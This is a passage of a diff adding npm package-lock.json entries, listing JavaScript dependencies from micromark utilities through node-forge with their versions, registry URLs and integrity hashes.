+                "micromark-util-symbol": "^1.0.0"
+            }
+        },
+        "micromark-util-resolve-all": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.0.0.tgz",
+            "integrity": "sha512-CB/AGk98u50k42kvgaMM94wzBqozSzDDaonKU7P7jwQIuH2RU0TeBqGYJz2WY1UdihhjweivStrJ2JdkdEmcfw==",
+            "requires": {
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-util-sanitize-uri": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.0.0.tgz",
+            "integrity": "sha512-cCxvBKlmac4rxCGx6ejlIviRaMKZc0fWm5HdCHEeDWRSkn44l6NdYVRyU+0nT1XC72EQJMZV8IPHF+jTr56lAg==",
+            "requires": {
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-encode": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0"
+            }
+        },
+        "micromark-util-subtokenize": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.0.2.tgz",
+            "integrity": "sha512-d90uqCnXp/cy4G881Ub4psE57Sf8YD0pim9QdjCRNjfas2M1u6Lbt+XZK9gnHL2XFhnozZiEdCa9CNfXSfQ6xA==",
+            "requires": {
+                "micromark-util-chunked": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0"
+            }
+        },
+        "micromark-util-symbol": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.0.1.tgz",
+            "integrity": "sha512-oKDEMK2u5qqAptasDAwWDXq0tG9AssVwAx3E9bBF3t/shRIGsWIRG+cGafs2p/SnDSOecnt6hZPCE2o6lHfFmQ=="
+        },
+        "micromark-util-types": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.0.2.tgz",
+            "integrity": "sha512-DCfg/T8fcrhrRKTPjRrw/5LLvdGV7BHySf/1LOZx7TzWZdYRjogNtyNq885z3nNallwr3QUKARjqvHqX1/7t+w=="
+        },
+        "micromatch": {
+            "version": "2.3.11",
+            "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz",
+            "integrity": "sha512-LnU2XFEk9xxSJ6rfgAry/ty5qwUTyHYOBU0g4R6tIw5ljwgGIBmiKhRWLw5NpMOnrgUNcDJ4WMp8rl3sYVHLNA==",
+            "requires": {
+                "arr-diff": "^2.0.0",
+                "array-unique": "^0.2.1",
+                "braces": "^1.8.2",
+                "expand-brackets": "^0.1.4",
+                "extglob": "^0.3.1",
+                "filename-regex": "^2.0.0",
+                "is-extglob": "^1.0.0",
+                "is-glob": "^2.0.1",
+                "kind-of": "^3.0.2",
+                "normalize-path": "^2.0.1",
+                "object.omit": "^2.0.0",
+                "parse-glob": "^3.0.4",
+                "regex-cache": "^0.4.2"
+            },
+            "dependencies": {
+                "braces": {
+                    "version": "1.8.5",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz",
+                    "integrity": "sha512-xU7bpz2ytJl1bH9cgIurjpg/n8Gohy9GTw81heDYLJQ4RU60dlyJsa+atVF2pI0yMMvKxI9HkKwjePCj5XI1hw==",
+                    "requires": {
+                        "expand-range": "^1.8.1",
+                        "preserve": "^0.2.0",
+                        "repeat-element": "^1.1.2"
+                    }
+                },
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                },
+                "is-glob": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
+                    "integrity": "sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==",
+                    "requires": {
+                        "is-extglob": "^1.0.0"
+                    }
+                },
+                "normalize-path": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+                    "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+                    "requires": {
+                        "remove-trailing-separator": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "miller-rabin": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz",
+            "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==",
+            "requires": {
+                "bn.js": "^4.0.0",
+                "brorand": "^1.0.1"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "mime": {
+            "version": "2.6.0",
+            "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz",
+            "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="
+        },
+        "mime-db": {
+            "version": "1.52.0",
+            "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+            "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
+        },
+        "mime-types": {
+            "version": "2.1.35",
+            "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+            "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+            "requires": {
+                "mime-db": "1.52.0"
+            }
+        },
+        "mimic-fn": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+            "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="
+        },
+        "mimic-response": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
+            "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="
+        },
+        "min-document": {
+            "version": "2.19.0",
+            "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz",
+            "integrity": "sha512-9Wy1B3m3f66bPPmU5hdA4DR4PB2OfDU/+GS3yAB7IQozE3tqXaVv2zOjgla7MEGSRv95+ILmOuvhLkOK6wJtCQ==",
+            "requires": {
+                "dom-walk": "^0.1.0"
+            }
+        },
+        "mini-css-extract-plugin": {
+            "version": "0.11.3",
+            "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-0.11.3.tgz",
+            "integrity": "sha512-n9BA8LonkOkW1/zn+IbLPQmovsL0wMb9yx75fMJQZf2X1Zoec9yTZtyMePcyu19wPkmFbzZZA6fLTotpFhQsOA==",
+            "requires": {
+                "loader-utils": "^1.1.0",
+                "normalize-url": "1.9.1",
+                "schema-utils": "^1.0.0",
+                "webpack-sources": "^1.1.0"
+            },
+            "dependencies": {
+                "is-plain-obj": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
+                    "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg=="
+                },
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "normalize-url": {
+                    "version": "1.9.1",
+                    "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz",
+                    "integrity": "sha512-A48My/mtCklowHBlI8Fq2jFWK4tX4lJ5E6ytFsSOq1fzpvT0SQSgKhSg7lN5c2uYFOrUAOQp6zhhJnpp1eMloQ==",
+                    "requires": {
+                        "object-assign": "^4.0.1",
+                        "prepend-http": "^1.0.0",
+                        "query-string": "^4.1.0",
+                        "sort-keys": "^1.0.0"
+                    }
+                },
+                "prepend-http": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz",
+                    "integrity": "sha512-PhmXi5XmoyKw1Un4E+opM2KcsJInDvKyuOumcjjw3waw86ZNjHwVUOOWLc4bCzLdcKNaWBH9e99sbWzDQsVaYg=="
+                },
+                "query-string": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz",
+                    "integrity": "sha512-O2XLNDBIg1DnTOa+2XrIwSiXEV8h2KImXUnjhhn2+UsvZ+Es2uyd5CCRTNQlDGbzUQOW3aYCBx9rVA6dzsiY7Q==",
+                    "requires": {
+                        "object-assign": "^4.1.0",
+                        "strict-uri-encode": "^1.0.0"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                },
+                "sort-keys": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz",
+                    "integrity": "sha512-vzn8aSqKgytVik0iwdBEi+zevbTYZogewTUM6dtpmGwEcdzbub/TX4bCzRhebDCRC3QzXgJsLRKB2V/Oof7HXg==",
+                    "requires": {
+                        "is-plain-obj": "^1.0.0"
+                    }
+                },
+                "strict-uri-encode": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz",
+                    "integrity": "sha512-R3f198pcvnB+5IpnBlRkphuE9n46WyVl8I39W/ZUTZLz4nqSP/oLYUrcnJrw462Ds8he4YKMov2efsTIw1BDGQ=="
+                }
+            }
+        },
+        "minimalistic-assert": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
+            "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="
+        },
+        "minimalistic-crypto-utils": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz",
+            "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="
+        },
+        "minimatch": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+            "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+            "requires": {
+                "brace-expansion": "^1.1.7"
+            }
+        },
+        "minimist": {
+            "version": "1.2.6",
+            "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+            "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q=="
+        },
+        "minipass": {
+            "version": "3.3.4",
+            "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.4.tgz",
+            "integrity": "sha512-I9WPbWHCGu8W+6k1ZiGpPu0GkoKBeorkfKNuAFBNS1HNFJvke82sxvI5bzcCNpWPorkOO5QQ+zomzzwRxejXiw==",
+            "requires": {
+                "yallist": "^4.0.0"
+            }
+        },
+        "minipass-collect": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
+            "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
+            "requires": {
+                "minipass": "^3.0.0"
+            }
+        },
+        "minipass-flush": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
+            "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==",
+            "requires": {
+                "minipass": "^3.0.0"
+            }
+        },
+        "minipass-pipeline": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
+            "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==",
+            "requires": {
+                "minipass": "^3.0.0"
+            }
+        },
+        "mississippi": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
+            "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==",
+            "requires": {
+                "concat-stream": "^1.5.0",
+                "duplexify": "^3.4.2",
+                "end-of-stream": "^1.1.0",
+                "flush-write-stream": "^1.0.0",
+                "from2": "^2.1.0",
+                "parallel-transform": "^1.1.0",
+                "pump": "^3.0.0",
+                "pumpify": "^1.3.3",
+                "stream-each": "^1.1.0",
+                "through2": "^2.0.0"
+            }
+        },
+        "mitt": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/mitt/-/mitt-1.2.0.tgz",
+            "integrity": "sha512-r6lj77KlwqLhIUku9UWYes7KJtsczvolZkzp8hbaDPPaE24OmWl5s539Mytlj22siEQKosZ26qCBgda2PKwoJw=="
+        },
+        "mixin-deep": {
+            "version": "1.3.2",
+            "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+            "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
+            "requires": {
+                "for-in": "^1.0.2",
+                "is-extendable": "^1.0.1"
+            },
+            "dependencies": {
+                "is-extendable": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+                    "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+                    "requires": {
+                        "is-plain-object": "^2.0.4"
+                    }
+                }
+            }
+        },
+        "mkdirp": {
+            "version": "0.5.6",
+            "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
+            "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+            "requires": {
+                "minimist": "^1.2.6"
+            }
+        },
+        "moment": {
+            "version": "2.29.4",
+            "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz",
+            "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w=="
+        },
+        "moment-strftime": {
+            "version": "0.5.0",
+            "resolved": "https://registry.npmjs.org/moment-strftime/-/moment-strftime-0.5.0.tgz",
+            "integrity": "sha512-0gwXdJEY1nD1YMlH9nLbDl+HLMfprzfxT2+qDkl29jGgDlVHzPCdwBBN0DPgY+e3+ur7tfdngxweKYBiT80nEA==",
+            "requires": {
+                "moment": "^2.11.2"
+            }
+        },
+        "mout": {
+            "version": "2.0.0-alpha.1",
+            "resolved": "https://registry.npmjs.org/mout/-/mout-2.0.0-alpha.1.tgz",
+            "integrity": "sha512-hwFkg6PGoUiSfOo52Mb/zPNe/HidCnHrz1HlRqyULc8FfzMz6gefuOKlIys/opDKTpqlkz+M+Mg/1NCJpGN81g=="
+        },
+        "move-concurrently": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz",
+            "integrity": "sha512-hdrFxZOycD/g6A6SoI2bB5NA/5NEqD0569+S47WZhPvm46sD50ZHdYaFmnua5lndde9rCHGjmfK7Z8BuCt/PcQ==",
+            "requires": {
+                "aproba": "^1.1.1",
+                "copy-concurrently": "^1.0.0",
+                "fs-write-stream-atomic": "^1.0.8",
+                "mkdirp": "^0.5.1",
+                "rimraf": "^2.5.4",
+                "run-queue": "^1.0.3"
+            }
+        },
+        "mri": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz",
+            "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="
+        },
+        "ms": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+            "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        },
+        "msgpackr": {
+            "version": "1.6.1",
+            "resolved": "https://registry.npmjs.org/msgpackr/-/msgpackr-1.6.1.tgz",
+            "integrity": "sha512-Je+xBEfdjtvA4bKaOv8iRhjC8qX2oJwpYH4f7JrG4uMVJVmnmkAT4pjKdbztKprGj3iwjcxPzb5umVZ02Qq3tA==",
+            "requires": {
+                "msgpackr-extract": "^2.0.2"
+            }
+        },
+        "msgpackr-extract": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/msgpackr-extract/-/msgpackr-extract-2.0.2.tgz",
+            "integrity": "sha512-coskCeJG2KDny23zWeu+6tNy7BLnAiOGgiwzlgdm4oeSsTpqEJJPguHIuKZcCdB7tzhZbXNYSg6jZAXkZErkJA==",
+            "optional": true,
+            "requires": {
+                "@msgpackr-extract/msgpackr-extract-darwin-arm64": "2.0.2",
+                "@msgpackr-extract/msgpackr-extract-darwin-x64": "2.0.2",
+                "@msgpackr-extract/msgpackr-extract-linux-arm": "2.0.2",
+                "@msgpackr-extract/msgpackr-extract-linux-arm64": "2.0.2",
+                "@msgpackr-extract/msgpackr-extract-linux-x64": "2.0.2",
+                "@msgpackr-extract/msgpackr-extract-win32-x64": "2.0.2",
+                "node-gyp-build-optional-packages": "5.0.2"
+            },
+            "dependencies": {
+                "node-gyp-build-optional-packages": {
+                    "version": "5.0.2",
+                    "resolved": "https://registry.npmjs.org/node-gyp-build-optional-packages/-/node-gyp-build-optional-packages-5.0.2.tgz",
+                    "integrity": "sha512-PiN4NWmlQPqvbEFcH/omQsswWQbe5Z9YK/zdB23irp5j2XibaA2IrGvpSWmVVG4qMZdmPdwPctSy4a86rOMn6g==",
+                    "optional": true
+                }
+            }
+        },
+        "multicast-dns": {
+            "version": "6.2.3",
+            "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz",
+            "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==",
+            "requires": {
+                "dns-packet": "^1.3.1",
+                "thunky": "^1.0.2"
+            }
+        },
+        "multicast-dns-service-types": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz",
+            "integrity": "sha512-cnAsSVxIDsYt0v7HmC0hWZFwwXSh+E6PgCrREDuN/EsjgLwA5XRmlMHhSiDPrt6HxY1gTivEa/Zh7GtODoLevQ=="
+        },
+        "mute-stream": {
+            "version": "0.0.8",
+            "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
+            "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="
+        },
+        "name-all-modules-plugin": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/name-all-modules-plugin/-/name-all-modules-plugin-1.0.1.tgz",
+            "integrity": "sha512-dCLoG4mKFY8B4keR+51CkKGIDptOzlyAMXtnwnVE8F5vUrSGB7AbgrWp5RR8ZKFQAj9QxVpecJ01p4eE9GMxdQ=="
+        },
+        "nan": {
+            "version": "2.16.0",
+            "resolved": "https://registry.npmjs.org/nan/-/nan-2.16.0.tgz",
+            "integrity": "sha512-UdAqHyFngu7TfQKsCBgAA6pWDkT8MAO7d0jyOecVhN5354xbLqdn8mV9Tat9gepAupm0bt2DbeaSC8vS52MuFA=="
+        },
+        "nanomatch": {
+            "version": "1.2.13",
+            "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
+            "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
+            "requires": {
+                "arr-diff": "^4.0.0",
+                "array-unique": "^0.3.2",
+                "define-property": "^2.0.2",
+                "extend-shallow": "^3.0.2",
+                "fragment-cache": "^0.2.1",
+                "is-windows": "^1.0.2",
+                "kind-of": "^6.0.2",
+                "object.pick": "^1.3.0",
+                "regex-not": "^1.0.0",
+                "snapdragon": "^0.8.1",
+                "to-regex": "^3.0.1"
+            },
+            "dependencies": {
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA=="
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "native-url": {
+            "version": "0.2.6",
+            "resolved": "https://registry.npmjs.org/native-url/-/native-url-0.2.6.tgz",
+            "integrity": "sha512-k4bDC87WtgrdD362gZz6zoiXQrl40kYlBmpfmSjwRO1VU0V5ccwJTlxuE72F6m3V0vc1xOf6n3UCP9QyerRqmA==",
+            "requires": {
+                "querystring": "^0.2.0"
+            }
+        },
+        "natural-compare": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+            "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
+        },
+        "negotiator": {
+            "version": "0.6.3",
+            "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+            "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
+        },
+        "neo-async": {
+            "version": "2.6.2",
+            "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+            "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
+        },
+        "next-tick": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
+            "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ=="
+        },
+        "nice-try": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
+            "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
+        },
+        "nlcst-to-string": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/nlcst-to-string/-/nlcst-to-string-2.0.4.tgz",
+            "integrity": "sha512-3x3jwTd6UPG7vi5k4GEzvxJ5rDA7hVUIRNHPblKuMVP9Z3xmlsd9cgLcpAMkc5uPOBna82EeshROFhsPkbnTZg=="
+        },
+        "no-case": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
+            "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+            "requires": {
+                "lower-case": "^2.0.2",
+                "tslib": "^2.0.3"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "node-addon-api": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz",
+            "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ=="
+        },
+        "node-dir": {
+            "version": "0.1.17",
+            "resolved": "https://registry.npmjs.org/node-dir/-/node-dir-0.1.17.tgz",
+            "integrity": "sha512-tmPX422rYgofd4epzrNoOXiE8XFZYOcCq1vD7MAXCDO+O+zndlA2ztdKKMa+EeuBG5tHETpr4ml4RGgpqDCCAg==",
+            "requires": {
+                "minimatch": "^3.0.2"
+            }
+        },
+        "node-eta": {
+            "version": "0.9.0",
+            "resolved": "https://registry.npmjs.org/node-eta/-/node-eta-0.9.0.tgz",
+            "integrity": "sha1-n7CwmbzSoCGUDmA8ZCVNwAPZp6g="
+        },
+        "node-fetch": {
+            "version": "2.6.1",
+            "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
+            "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw=="
+        },
+        "node-forge": {
+            "version": "0.10.0",
+            "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+            "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA=="
+        },
+        "node-gyp": {
+            "version": "3.8.0",
